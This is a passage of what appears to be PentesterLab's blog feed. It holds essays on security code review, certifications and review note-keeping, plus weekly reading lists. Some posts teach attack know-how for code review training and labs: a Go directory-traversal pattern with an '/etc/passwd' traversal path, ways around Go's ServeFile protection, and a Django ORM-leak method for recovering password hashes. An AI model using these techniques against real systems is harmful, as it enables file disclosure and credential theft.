Lastly, identifying swarms can lead to more efficient use of resources. Security teams often have limited time and personnel to devote to vulnerability management. By focusing on swarms, they can prioritize their efforts on areas of the codebase that are more likely to contain multiple vulnerabilities, leading to a higher return on investment in terms of time and resources.

Swarms are also key for developer education. By analyzing the root causes, assumptions, or correlations between all the bugs in a swarm, you can address these issues in training sessions, brown bag meetings, or internal newsletters. This not only fixes the current issues but also helps prevent similar vulnerabilities from occurring in the future.

Conclusion

When reviewing code or attacking web applications, the discovery of a vulnerability should never be viewed in isolation. By considering whether a newly discovered bug or CVE is part of a swarm, security professionals can take a more holistic approach to vulnerability management. This approach involves looking beyond individual vulnerabilities to identify broader patterns and root causes, leading to more effective and comprehensive remediation efforts. In doing so, organizations can significantly improve their overall security posture, reducing the risk of exploitation and ensuring the long-term security and reliability of their applications.

]]> Mon, 02 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/code-review-catch-a-swarm-instead-of-a-bug https://pentesterlab.com/blog/code-review-catch-a-swarm-instead-of-a-bug h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! Make sure you check it out!

❤️ BACK TO SCHOOL - EXPLOITING A REMOTE CODE EXECUTION VULNERABILITY IN MOODLE

If you can only read one article this week, this is DEFINITELY the one: BACK TO SCHOOL - EXPLOITING A REMOTE CODE EXECUTION VULNERABILITY IN MOODLE.

🤙 Microsoft Copilot: From Prompt Injection to Exfiltration of Personal Information

If you like AI-attacks, make sure you check out this attack against Microsoft 365 Copilot: Microsoft Copilot: From Prompt Injection to Exfiltration of Personal Information.

📖 Is Telegram really an encrypted messaging app

With all the news around Telegram, it’s important to know exactly what security protections Telegram offers. If you want to get it right, read this article: Is Telegram really an encrypted messaging app?

👉 AppSec eZine #550

AppSec eZine is back with issue #550.

]]> Sun, 01 Sep 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week35-2024 https://pentesterlab.com/blog/research-worth-reading-week35-2024

I woke up this morning and saw that yet another certification is now available. You can now be "XYZ" certified! The exam seems pricey, but hey, that will definitely show that I'm good at hacking, right?

This is the kind of message that bombards professionals in our field every day. The certification industry is booming, with new credentials popping up regularly, each promising to be the key to advancing your career. But have we stopped to consider what we’re really buying into?

The Dangers of Turning Certifications into an HR Shortcut

The more we encourage the narrative that certifications are an "HR bypass," the more we solidify this problematic perception. By promoting certifications as a fast track to employment, we're inadvertently exacerbating the issue. In some countries, the cost of this so-called "bypass" can be as high as three months' salary, making it a significant financial burden.

But here's the truth: hacking and security are about skills, expertise, and real-world experience—not about how much money you can throw at a certification. When the industry starts to prioritize certification over merit, it undermines the very foundation of what makes a good security professional.

Certifications are, at best, just a snapshot of someone's skills at a particular moment in time. They don't tell you where the individual is in their journey. Is this just the beginning for them, with plenty of room for growth and development? Or have they hit a plateau, with the certification representing the peak of their abilities? A certificate doesn't provide insight into whether someone is going to continue improving or if they’ve already reached their limit. It’s a static measure in a dynamic field, where continuous learning and adaptation are crucial.

The Pokémon Mentality

People have started to collect certifications like they collect Pokémons (Gotta Catch 'Em All). It’s become a comfortable pursuit—there’s no real risk involved. You either fail or you get the certification. If you fail, you can simply try again until you succeed. There’s a safety net, a guarantee that eventually, with enough attempts, you’ll add that shiny new certification to your collection.

But this comfort comes at a cost. Unlike actual security research, where you don’t know if there’s something to be found, certifications offer a predetermined path. They don’t require the same level of creativity, problem-solving, or risk-taking. Too many people get trapped in this mindset, seeing their career as a checklist of certifications to obtain, rather than an opportunity to build something unique and impactful.

The Problem with Generic Certification Advice

All too often, people looking to break into the security field are met with a generic list of certifications to "get started." Instead of offering a one-size-fits-all recommendation, we should be providing thoughtful, personalized advice. Don’t tell someone to get certifications XYZ just because they’re popular or seem like the logical first step.

If someone has a background in web development, guide them towards "Web Hacking"—a natural extension of their existing skills. If they used to work in sales, suggest exploring social engineering, where their understanding of human interaction can give them an edge. For those with a history in network engineering, point them towards network security, where their existing knowledge will be invaluable.

By tailoring advice to an individual’s background and strengths, we can help them build on what they already know, rather than pushing them towards a generic path that may not suit them. This approach not only fosters more meaningful growth but also encourages people to carve out their own unique place in the security field.

Conclusion

The fixation on certifications as a measure of competence is leading us down a dangerous path. It’s turning the security industry into a field where the ability to pay for exams is mistaken for genuine expertise. Certifications are becoming more about collecting badges than developing real-world skills. We need to shift the focus back to what truly matters: the ability to think critically, solve complex problems, and continue growing beyond the limitations of a certification. Only then can we ensure that the field of security remains one where true merit is recognized, and real innovation thrives.

]]> Fri, 30 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/the-certification-trap https://pentesterlab.com/blog/the-certification-trap

In the field of application security, two crucial types of training often come up: secure coding training and security code review training. While both aim to improve the security of software, they focus on different aspects of the development process and are designed for distinct audiences. Understanding the differences between these two types of training is essential for organizations aiming to build robust and secure applications.

Secure Coding Training: Building with Security in Mind

Secure coding training is primarily aimed at developers. Its goal is to teach them how to write code that is inherently secure, reducing the likelihood of vulnerabilities being introduced during the development process. This type of training focuses on teaching best practices in secure software design and coding, ensuring that developers are aware of the common pitfalls and how to avoid them.

Key topics covered in secure coding training typically include:

• Input Validation: Ensuring that all user inputs are validated and sanitized to prevent common attacks like SQL injection and cross-site scripting (XSS).
• Authentication and Authorization: Implementing proper access controls to ensure that users can only access the data and functionality they are authorized to use.
• Cryptography: Understanding how to properly use cryptographic functions to protect sensitive data, both at rest and in transit.
• Error Handling and Logging: Ensuring that errors are handled gracefully without exposing sensitive information and that logging is done securely.
• Security Features of Frameworks and Libraries: Leveraging built-in security features provided by the development frameworks and libraries.

The primary audience for secure coding training is developers who are actively writing code. The focus is on prevention—teaching developers to think about security as they design and implement features. By learning secure coding practices, developers can minimize the introduction of vulnerabilities and ensure that the code they write is resilient to attacks.

Security Code Review Training: Identifying Weaknesses in Existing Code

In contrast, security code review training is aimed at those who are responsible for assessing the security of existing code, such as security engineers, application security engineers, code reviewers, and sometimes even developers with a focus on auditing. This type of training teaches participants how to find security flaws in codebases, often by analyzing patterns, understanding the context in which code operates, and identifying deviations from best practices.

Key topics covered in security code review training typically include:

• Manual Code Review Techniques: Learning how to systematically analyze code for security vulnerabilities, such as insecure data handling, logic flaws, and improper use of cryptographic functions.
• Pattern Recognition: Understanding common patterns of insecure code and being able to recognize them in a large codebase.
• Code Path Analysis: Tracing the flow of data and control through the code to identify vulnerabilities that may not be apparent at first glance.
• CVE Analysis: Studying real-world examples of security vulnerabilities (CVEs) to understand how they manifest in code and how they can be detected.
• Tool-Assisted Code Review: Using tools to automate parts of the code review process while understanding their limitations and how to manually review code when tools fall short.

The focus in security code review training is on detection—finding vulnerabilities that have already been introduced into the codebase. This training requires a deep understanding of how software works, including knowledge of specific programming languages, frameworks, and potential attack vectors. Unlike secure coding training, which is more about applying best practices during development, security code review training is about critically analyzing existing code to uncover potential security issues.

Audience and Outcomes

The differences in focus between secure coding training and security code review training lead to different outcomes:

• Secure Coding Training prepares developers to write secure code from the outset, embedding security into the software development lifecycle. The outcome is code that is more secure by design, with fewer vulnerabilities making it into production.
• Security Code Review Training prepares security professionals to identify and mitigate security flaws in code that has already been written. The outcome is a stronger defense against vulnerabilities that could have been overlooked during the development process.

Both types of training are essential for a comprehensive application security program. Secure coding training lays the foundation for secure software, while security code review training acts as a critical checkpoint to catch any issues that may have slipped through. Together, they form a robust defense-in-depth strategy, ensuring that applications are both designed and implemented securely, and that any remaining flaws are identified and addressed before they can be exploited.

If you are interested in Web Security Code Review Training, make sure you check out upcoming live trainings!

Update: We recently launched Secure Coding in Go, a short, 3-hour course designed for developers who are already familiar with common web security issues and want to dive deeper into real vulnerabilities found in actual codebases. Check out our upcoming live trainings to learn more!

]]> Thu, 29 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/secure-coding-vs-security-code-review https://pentesterlab.com/blog/secure-coding-vs-security-code-review h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! Make sure you check it out!

❤️ PHRACK IS BACK

The latest issue of Phrack is now available! That should keep you busy for a few days: Phrack #71.

📖 OpenSSH Backdoors

A bit of OpenSSH history and modern days mix in this great article from Ben Hawkes: OpenSSH Backdoors.

🤙 “YOLO” is not a valid hash construction

If you like crypto-attacks like length extensions, you will love this article from the Trail of Bits team: “YOLO” is not a valid hash construction.

🍊 Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

It’s rare to come across some high quality content like this blog post from Orange Tsai on their research into Apache HTTPd: Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

👉 AppSec eZine #549

AppSec eZine is back with issue #549.

]]> Sun, 25 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week34-2024 https://pentesterlab.com/blog/research-worth-reading-week34-2024

One of the recurring questions I get during my Web Security Code Review Training is how to keep notes when multiple reviewers are working on the same codebase. This is a topic I also hear AppSec teams discuss frequently.

The Bad!

Let’s face it: reviewing source code to find vulnerabilities is challenging—very challenging. To make things even harder, it's often a timeboxed exercise. The last thing you want is for reviewers to start from scratch every time they look at a codebase, especially if it has already been reviewed. Instead, each review should build on the previous one, making the process faster and easier for subsequent reviewers. To achieve this, your team needs to capture the right artifacts. This blog post will guide you on how to do that. But first, let’s talk about The Ugly.

The Ugly!

Now, let's discuss The Ugly. One of the worst practices I've seen for keeping artifacts during code review is the use of generic checklists. These often originate from managers without a code review background, who may create them based on advice from a pentest team, ChatGPT, or an uninformed blog post.

Such checklists often look something like this:

ID	Name	Details	Checked [Y/N]
CR-001	Input Sanitization	All inputs are properly sanitized
CR-002	Parameterized Queries	All SQL queries are parameterized
CR-003	Encryption keys	Encryption keys are handled securely
CR-...	...	....

There are only a few reasons why this format might seem satisfactory:

1. You’re trying to shift blame to the reviewers if something is missed.
2. You’re not fully aware of what effective code review looks like.
3. Your review team lacks experience, and you're inadvertently ensuring they don't improve.

This kind of checklist sets people up for failure. Reviewers are likely to resort to grepping for bugs, which usually yields poor results. They won’t develop a deep understanding of the codebase, and you’ll end up with an artifact that serves compliance rather than actual security. Worse, if something goes wrong, the blame will fall on the reviewers.

The Good!

To create a more effective process, I recommend keeping code review notes close to your pentest notes. This minimizes duplicated effort—such as searching for vulnerabilities already identified in a pentest—and promotes cross-pollination of ideas between the pentest and code review teams. For example, if a pentest uncovers a suspicious behavior that couldn’t be exploited, this is gold for code reviewers. Ensure that all insights from one team are accessible to the other.

Regarding format, I suggest using plaintext files or a wiki. Plaintext files are easier to search (especially with grep), but they have limitations in embedding other content types like screenshots or design documents.

So, what should these notes include?

First, maintain general notes that provide an overview of the security architecture of the project. For example: “Authentication is handled via ..., authorization is done using ..., file uploads are accepted but don’t touch the disk..., most security checks are implemented in this file...” Also, document any “gotchas” within the application—things that are difficult to figure out or don’t make sense until they do. Highlight fragile aspects of the application, such as: “If they forget to X, it’s a direct XSS vulnerability.” Additionally, include basic project information like where to find the documentation and how to run the application locally. Ideally, you should point to the dev team’s documentation and make it their responsibility to keep it updated.

Next, record specific details about each review, including:

• Date and version/commit ID reviewed
• Reviewers involved
• Reason for the review (e.g., new version, incident, new CVE)
• Key contacts (who to talk to for more information)
• Areas reviewed and strategies used
• Areas of concern and possible improvements
• Weaknesses and vulnerabilities found

For example, you might write: “When conducting the review on [date], reviewers focused on [strategy] and identified concerns related to [area]. Weaknesses included [issues], and vulnerabilities were documented [reference to issue tracker].” Potential improvements should also be noted to help guide future reviews.

It's also essential to establish a process. The first task for each reviewer should be to ensure that the existing notes are up to date. Are the vulnerabilities still present? Are the weaknesses still relevant? Have any of the suggested improvements been implemented?

Below is an example of how you might structure these notes in a plaintext file (you can also leverage vim’s scaffolding to standardize entries):

Application: CorpWiki

Source: https://git.co.....

Last reviewed: 01/09/2024

{{ Contact
The best person to talk to is John Doe <john.doe@corp....> in the CorpWiki team <corpwiki-dev@....>.

}}

{{ Architecture / Security Architecture:

This is a Rails application.
Authentication is done using Devise.
Most Authorization checks are done using before_action.
CSRF protection is based on the built-in protection offered by Rails.
The code accepts file uploads but everything goes to AWS s3.
XSS protection is based on the built-in protection offered by Rails.
Data access is done via the datamapper.

}}

{{ Review done on the 02/04/2022:
version: 3.1.0 (commit:8082c74e)

Reason: Initial review
Time spent: 10 days with 2 reviewers
Who: Jane Doe and Richard Roe

Strategies: Mostly reviewed the results of running Brakeman and gaining an idea of the overall architecture of the application.

Area of concerns: 
  * PDF generation using wkhtmltopdf 
  {{ PDF are generated using wkhtmltopdf in lib/pdf.rb 
    It seems like this may be an issue for ....
  }} 

  * CORS
  {{ CORS is handled by ....
    The check in place seems to be based on the assumptions that...
  }} 

  * File handling
  {{ in lib/pdf.rb the PDF generated are added to ...
     This may present an issue if ...
  }}
 

Weaknesses:
  * Outdated version of Devise
  {{ Gemfile.lock line 9
    devise (....)
  }}

  * Some regular expressions don’t rely on Ruby \A and \z
  {{ app/views/users/show.html.erb line 1337
    name =~ /..../
  
  }}

  *  
  {{

  }} 

Potential Improvements:
  * Secrets management
  {{ config/initializers/hack.rb line 89
    ...
  }}  

  * A lot of parameters are not cast as strings using .to_s
  {{ Example  from app/controllers/articles_controller.rb line 5
      ...

  }} 

  * 
  {{

  }} 

Vulnerabilities discovered:
  * SQL injection found in ... (see: https://... issue #PTL001) 
  {{ app/controller/blogs_controller.rb line 39
 
  }} 

  * XSS in app/views/.... (see: https://... issue #PTL003)
  {{ app/views/articles/index.html.erb line 33
  ...
  }}

  * CSRF in /users/logout (see: https://... issue #PTL005)
  {{ app/controllers/users_controller.rb line 30
  ...
  }} 

 
}}

{{ Review done on the ../../....:
version: ...... (commit: ........)

Reason: ...
Time spent: ...
Who: ...

Strategies: ...


Area of concerns: 
  * ...
  * ...
  * ...
  
  
Weaknesses:
  * ...
  {{

  }} 

  * ...
  {{

  }} 

  *  
  {{

  }} 

Potential Improvements:
  * ... 
  {{

  }} 

  * ...
  {{

  }} 

  * ...

Vulnerabilities discovered:
  * ...
  {{

  }} 

  * ...
  {{

  }} 

  * ...
  {{

  }} 

}}
  

Notice that vulnerabilities are referenced rather than fully documented in the review artifact. This approach helps prevent diluting the key content for reviewers. This may or may not work based on your current process.

I hope this article provides you with a strong foundation for documenting your team's code review. Make sure you you tailor this content to fit your team’s needs and processes.

]]> Tue, 20 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/effective-note-keeping-web-security-code-reviews https://pentesterlab.com/blog/effective-note-keeping-web-security-code-reviews h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! Make sure you check it out!

❤️ We wrote the code, and the code won

Do you want to get some insights into the future of crypto(graphy), make sure you check out the latest blog post from Trail of Bits on SLH-DSA.

📖 Mixing watering hole attacks with history leak via CSS

Some fun with CSS and information leak in this article: Mixing watering hole attacks with history leak via CSS. Nothing new but it's always interesting to see how this kind of tricks can be used and modernized. I particularly loved that quote: Mark my words: CSS will bring you more shells than C

🎥 Walkthrough of CVE-2023-7028 - Account Takeover via Password Reset

The team at GitLab just published a video on CVE-2023-7028. This is actually one of the CVEs I use in my Security Code Review Training as I think it perfectly illustrates a common issue with modern and more specifically Rails applications: Walkthrough of CVE-2023-7028 - Account Takeover via Password Reset

👉 AppSec eZine #548

AppSec eZine is back with issue #548

]]> Sun, 18 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week33-2024 https://pentesterlab.com/blog/research-worth-reading-week33-2024

Bad code reviewers use grep... well, good code reviewers use grep, but they are good code reviewers!

You are probably not familiar with this French skit about the difference between a good hunter and a bad hunter: "The bad hunter, he sees something, he shoots... well, the good hunter sees something, he shoots, but it's not the same!". This skit inspired this post because the same idea applies to code reviewers. Let me explain!

Both good and bad code reviewers use grep during their reviews. Grep is an amazing tool and a must-have when reviewing code, no doubt about that. But the key difference lies in how they use grep.

The Bad Code Reviewer

A bad code reviewer is looking for shortcuts, using grep to find low hanging fruits, quick wins, "mad hackz". They want quick wins, maybe even a CVE and barely look at the actual code. Or worst, their whole review is based on triaging the output of a few grep commands (or any similar tools).

That’s the equivalent of running web scanners on an application and complaining that you are not finding good things.

As a result, they don’t find good bugs, they don’t get better and quickly get discouraged: "Code review isn’t my thing", "Code review is boring". If you think this is you, don't worry, I have been there too.

The Good Code Reviewer

On the other hand, good code reviewers use grep to speed up their review, not to guide it. They may use grep to get familiar with the organisation of the codebase, or to see if a pattern they find is present in multiple places in the codebase. Basically, they are in charge of the review and grep is a tool they rely on for help or to scale their efforts. Not the other way around.

They don’t rely on grep to do the heavy lifting. They focus on thoroughly reading the code, rather than seeking shortcuts or quick hacks. They are understanding the codebase, looking for small discrepancies, tiny weaknesses in the code, looking for unexpected behaviours in the way developers do things, filter values, prevent vulnerabilities. Once they are familiar enough with the codebase, they usually start finding bugs - good bugs. Unknown unknowns, bugs that you would never thought of looking for, let alone using grep. Bugs that grep will not find, bugs that SAST will not find, bugs that will stay undiscovered for a while unless they decide to share them.

Improving

If you find yourself relying heavily on grep for quick wins, it might be time to reassess your approach. Ask yourself: Are you letting grep guide your review, or are you using it to complement a thorough, manual inspection of the code? By shifting your mindset and using grep as a tool rather than a crutch, you'll start to uncover the deeper, more complex bugs that truly make a difference.

]]> Thu, 15 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/difference-good-bad-code-reviewers https://pentesterlab.com/blog/difference-good-bad-code-reviewers When running our Web Security Code Review Training, I use an analogy on the difference between "They are French" and "They speak French". People tend to mix both sentences as if they meant the exact same thing. They don’t. And that is a key principle of security code review (or any code review really). Basically, you want to find places where developers meant one thing but wrote another. Once you find some of those, it’s time to investigate.

Such example can be found in the following code from ASP.NET Core:

    public virtual async Task<bool> CheckPasswordAsync(TUser user, string password)
    {
        ThrowIfDisposed();
        var passwordStore = GetPasswordStore();
        if (user == null)
        {
            return false;
        }
        
        var result = await VerifyPasswordAsync(passwordStore, user, password).ConfigureAwait(false);
        if (result == PasswordVerificationResult.SuccessRehashNeeded)
        {
            await UpdatePasswordHash(passwordStore, user, password, validatePassword: false).ConfigureAwait(false);
            await UpdateUserAsync(user).ConfigureAwait(false);
        }
            
        var success = result != PasswordVerificationResult.Failed;
        if (!success)
        {
            Logger.LogDebug(LoggerEventIds.InvalidPassword, "Invalid password for user.");
        }
        return success;
    }

The line:

        var success = result != PasswordVerificationResult.Failed;

is used to decide if the authentication was successful or not. This code does not check if the PasswordVerificationResult was successful, it checks that the result was not PasswordVerificationResult.Failed. There is a very small distinction and there is room for mistakes. If we can find a way to return something that is not PasswordVerificationResult.Failed, we may be into something...

What we want now is to find some code that will return something along the line of PasswordVerificationResult.SomethingIsNotRight, allowing us to bypass the check:

        var success = result != PasswordVerificationResult.Failed;

What if we provide an empty password, what if the password in the database is corrupted, what if the computation of the hash fails…

Now, as a security code reviewer, it is time to check all the code paths and try to find one that gets the code to return something that is not PasswordVerificationResult.Failed. If we find one, we potentially have a way to bypass the authentication mechanism.

A second option is to look at the declaration of PasswordVerificationResult:

public enum PasswordVerificationResult
{
    /// 

    /// Indicates password verification failed.
    /// 
    Failed = 0,

    /// 

    /// Indicates password verification was successful.
    /// 
    Success = 1,

    /// 

    /// Indicates password verification was successful however the password was encoded using a deprecated algorithm
    /// and should be rehashed and updated.
    /// 
    SuccessRehashNeeded = 2
}

We can see that it is an enum that can only take three values. This tells us that we only have two options: Failed and Success (since SuccessRehashNeeded is just a variant of Success). Unfortunately we don’t get to bypass the authentication.

While this specific investigation didn’t lead to an authentication bypass in ASP.NET Core, it illustrates a key element of Web Security Code Review: how small discrepancies between what developers want to say and what developers wrote can lead to security issues.

]]> Mon, 12 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/spotting-discrepancies-in-security-code-reviews https://pentesterlab.com/blog/spotting-discrepancies-in-security-code-reviews h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! Make sure you check it out!

🛠️Gitxray: a security X-Ray for GitHub repositories

Bad actors in your Github? Worry no more, the awesome team at Kulkan has you covered with the new tool they just released: gitxray. They detail some of the use cases in their blog post: Gitxray: a security X-Ray for GitHub repositories.

❤️ ARVO: Atlas of Reproducible Vulnerabilities for Open Source Software

If you are looking for reproducible vulnerabilities in C/C++ based Open Source Software, look no further: read the paper and download the dataset: n132/ARVO-Meta/.

👉 Splitting the email atom: exploiting parsers to bypass access controls and Listen to the whispers: web timing attacks that actually work

It’s BlackHat and Defcon time! The research team at PortSwigger published some new research on email parsing and web timing attacks.

]]> Sun, 11 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week32-2024 https://pentesterlab.com/blog/research-worth-reading-week32-2024 As a security engineer, and like many people in security, I prefer bulletproof solutions to patches that fix only half of the problem.

But when you come across the same code that, despite being far from perfect, keeps preventing you from exploiting some code that should be exploitable, you have to realize: "That’s good enough."

Sometimes a simple solution that prevents 80% of vulnerabilities is better than no solution: "Perfect is the enemy of good."

You may wonder why I’m blogging about this. Once again, I came across the following pattern in Golang:

func InitializeBlog(router *httptreemux.TreeMux) {
  […]
  router.GET("/images/*filepath", imagesHandler)
  […]
}

func imagesHandler(w http.ResponseWriter, r *http.Request, 
                                          params map[string]string) {

  http.ServeFile(w, r, filepath.Join(filenames.ImagesFilepath, 
                                     params["filepath"]))
  return
}     

If you are not familiar with Golang, http.ServeFile() will serve the file based on the third argument.

Here, you may think that you have a clear directory traversal. Accessing /images/../../../../../../../etc/passwd will give you the precious content of /etc/passwd.

Unfortunately (for attackers), in 2016, Golang developers introduced a protection against directory traversal in http.ServeFile() with the commit 9b67a5de79af56541c48c95c6d7ddc8630e1d0dc.

They added a check to throw an error if they detect a ...

But what is interesting is that they don’t check the name string provided as part of the third argument to http.ServeFile(). This check is implemented on the URL path: r.URL.Path, with r *Request being the HTTP request.

Basically, the code we saw above is not exploitable not because the developers were careful or prevented directory traversal attacks. It is not exploitable because they put the path to the file in the URL:

  router.GET("/images/*filepath", imagesHandler)

And the interesting thing is that the more protection developers try to put in place, the more likely they are to enable the exploitation of this issue.

For example, developers may have decided to get rid of ; in the path provided:

func imagesHandler(w http.ResponseWriter, r *http.Request, 
                    params map[string]string) {

  path := filepath.Join(filenames.ImagesFilepath, params["filepath"])
  newPath := strings.Replace(path, ";", "", -1)

  http.ServeFile(w, r, newPath)
}

Or they may decide to normalize, encode or decode the path. Any modifications, really...

Those modifications can potentially allow attackers to bypass the protection provided by http.ServeFile() because they no longer need .. to exploit the issue. And since the protection applies to r.URL.Path and not to name, the protection does not prevent the exploitation.

But in most cases, developers do nothing, and this protection is just "Good enough."

]]> Tue, 06 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/good-enough-golang-http-ServeFile https://pentesterlab.com/blog/good-enough-golang-http-ServeFile h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! Not sure if it is the BlackHat/Defcon effect, but it is pretty quiet!!

🔥 Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit

If you can only read one article this week, you need to read this one: Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit.

❤️ ORM Leak Exploitation Against SQLite

Some love for our own blog with a blog post on ORM Leak exploitation against SQLite.

👉 FAQ: The tragedy of low-level exploitation

A really good FAQ on the reality of roles/career opportunities in low-level exploitation: The tragedy of low-level exploitation. It's a bit generic (by nature), and people will probably find counterexamples, but I think it is definitely worth reading for people aiming for a job in low-level exploitation.

👉 AppSec eZine #546

AppSec eZine is back with issue #546

]]> Sun, 04 Aug 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week31-2024 https://pentesterlab.com/blog/research-worth-reading-week31-2024

We are currently building our ORM Leak labs and found a quirk worth sharing. The goal of our labs is to recover the hashed password of one of the users by leveraging ORM Leaks.

First, if you don’t know much about ORM Leaks, you should definitely check out the excellent article from elttam: PlORMbing Your Django ORM.

While building our labs, we came across an issue, we used SQLite3...

SQLite3 is great and it makes building challenges a lot easier than other databases as you can keep everything in one single container. But SQLite has one limitation: "SQLite doesn’t support case-sensitive LIKE statements".

And the key to solve the lab is case-sensitive. Basically, our subscribers had to recover the key and the case of the key. And retrieving the case of the key doesn’t seem to be something that is well-documented until now. Since this was the first challenge of the set, we also didn’t want to be too hard so we moved to MySQL.

Now that you have a bit of context, let’s go down the rabbit hole. This issue allowed us to discover how to solve the challenge with sqlite3.

Solving the challenge with SQLite3

To get started, you will need to use the same algorithm as any other database, this will give you the lowercase value of the hash of the password you are trying to recover. Now we want to recover the exact match. To solve our issue, a good start is to start reading some Django documentation, this allowed us to come across __exact

To get an exact match, we will have to try all the possible combinations of uppercase and lowercase until you get a result by using __exact.

But that seems a bit slow? Let’s improve the second part of the recovery by replacing __exact with __regex (that we can also find in the same documentation).! The second part of the recovery takes a lot of time because we need to test all combinations for only one match. With __regex, we can achieve the same result progressively.

First we need to escape a few characters to avoid breaking the regular expression: $, /, =. Once we get that working, what we will do is replace every character a-z with an equivalent that matches the lowercase and the uppercase value: [a|A].

If we recovered the hash pbkdf2_sha256$720000$abcd, our new value becomes: pbkdf2_sha256\\$720000\\$[a|A][b|B][c|C][d|D]... or (shorter): pbkdf2_sha256\\$720000\\$[aA][bB][cC][dD].... Then we can start replacing one expression at a time with one of the two possible letters and test for: pbkdf2_sha256\\$720000\\$a[bb][cC][dD]… to see if we have a match. If we do, we keep a, otherwise we keep A. Let’s say we don’t have a match (and keep A).

We can move to the next one and test for: pbkdf2_sha256\\$720000\\$Ab[cC][dD]… to see if we have a match. If we do, we keep b, otherwise we keep B.

And you keep going until you recover the full hashed password with the proper case!

Conclusion

In this post, we explored ORM leaks, focusing on the quirks of SQLite3 databases. Building our ORM Leak labs revealed valuable lessons about SQLite limitations and strategies to overcome them. Whether you're dealing with SQLite issues or curious about ORM leaks, this guide offers useful insights and tips.

If you want to try exploiting this issue, be sure to check out our challenge: ORM LEAK: SQLite.

]]> Tue, 30 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/orm-leak-with-sqlite3 https://pentesterlab.com/blog/orm-leak-with-sqlite3 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week again, we publish a list of research worth reading! A lot of Java this week!

🔥 Let's Make & Crack a PRNG in Go!

I love this kind of content, let's build something and break it. Even if you are not big on Go, this is worth a read: Let's Make & Crack a PRNG in Go!

🔥 JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory

Deep dive into Java Exploitation with Steven latest post: JNDI Injection Remote Code Execution via Path Manipulation in MemoryUserDatabaseFactory

👉 Injecting Java in-memory payloads for post-exploitation

Another great post from Synactkiv and something I'm really fond of!.

👉 AppSec eZine #545

AppSec eZine is back with issue #545

]]> Mon, 29 Jul 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week30-2024 https://pentesterlab.com/blog/research-worth-reading-week30-2024

When it comes to the security of programming languages, the conversation often revolves around memory safety and typing. These features, while important, may not be as critical in the context of modern web applications, which typically already offer memory safety. Instead, for those conducting code reviews across multiple languages, a key component of secure applications is the quality and adoption of the standard library.

The Importance of Standard Libraries

As a code reviewer, you can usually tell the quality of a codebase based on how much it relies on the standard library. If developers are writing their own versions of things like uppercasing a string, extracting a filename from a path, or extracting an extension from a file—while those functionalities are already covered by the standard library—you know it is worth digging further. Either the developers don’t know the language well, or they like to reinvent the wheel. In both cases, this is a clear signal to keep reading, and bugs will rain. This is why a robust, well-documented, and well-adopted standard library can significantly enhance the security of your application. It reduces the need for developers to reinvent the wheel, minimizing the risk of introducing new vulnerabilities.

Frameworks and Documentation

Extending this principle to frameworks, the quality of documentation becomes paramount. Good documentation helps developers understand how to use libraries and frameworks securely. When the documentation is clear, comprehensive, and easy to follow, it guides developers toward best practices and helps them avoid common pitfalls. On the other hand, poor documentation can lead developers to write vulnerable code. One of my favorite examples of this can be found in the image below:

If you are familiar with regular expressions in Ruby, you know that this is a pretty bad idea...

Avoiding Surprises in Functions and Methods

Another critical aspect is having functions or methods that behave as expected. Surprising behavior can lead to security flaws. My favorite example of this is the Golang functions path.Clean and filepath.Clean used to "clean" a path. Canonicalization and sanitization can be confusing for developers. If you expect path.Clean and filepath.Clean to prevent directory traversal attacks, you are in for a surprise.

Some Things Should Come for Free

Security should be built-in, not bolted on. Password hashing is a perfect example. Developers should not have to implement their own password hashing algorithms or even install a library for this. The standard library or framework should provide robust, up-to-date password hashing out of the box, including support for algorithm rotation to keep up with evolving security standards.

The Quality of Search Results

The quality of the first results on Google for a language is also key. A lot of results for key functions get poisoned by SEO-seeking websites and provide incomplete, incorrect, or completely insecure snippets of code. The ranking of standard library documentation in search engines when developers look for solutions to their problems ("Encrypting Passwords in PHP," "Hashing Passwords in C#," "Avoiding XSS in Python") can make the difference between introducing and not introducing vulnerable code in a codebase.

Conclusion

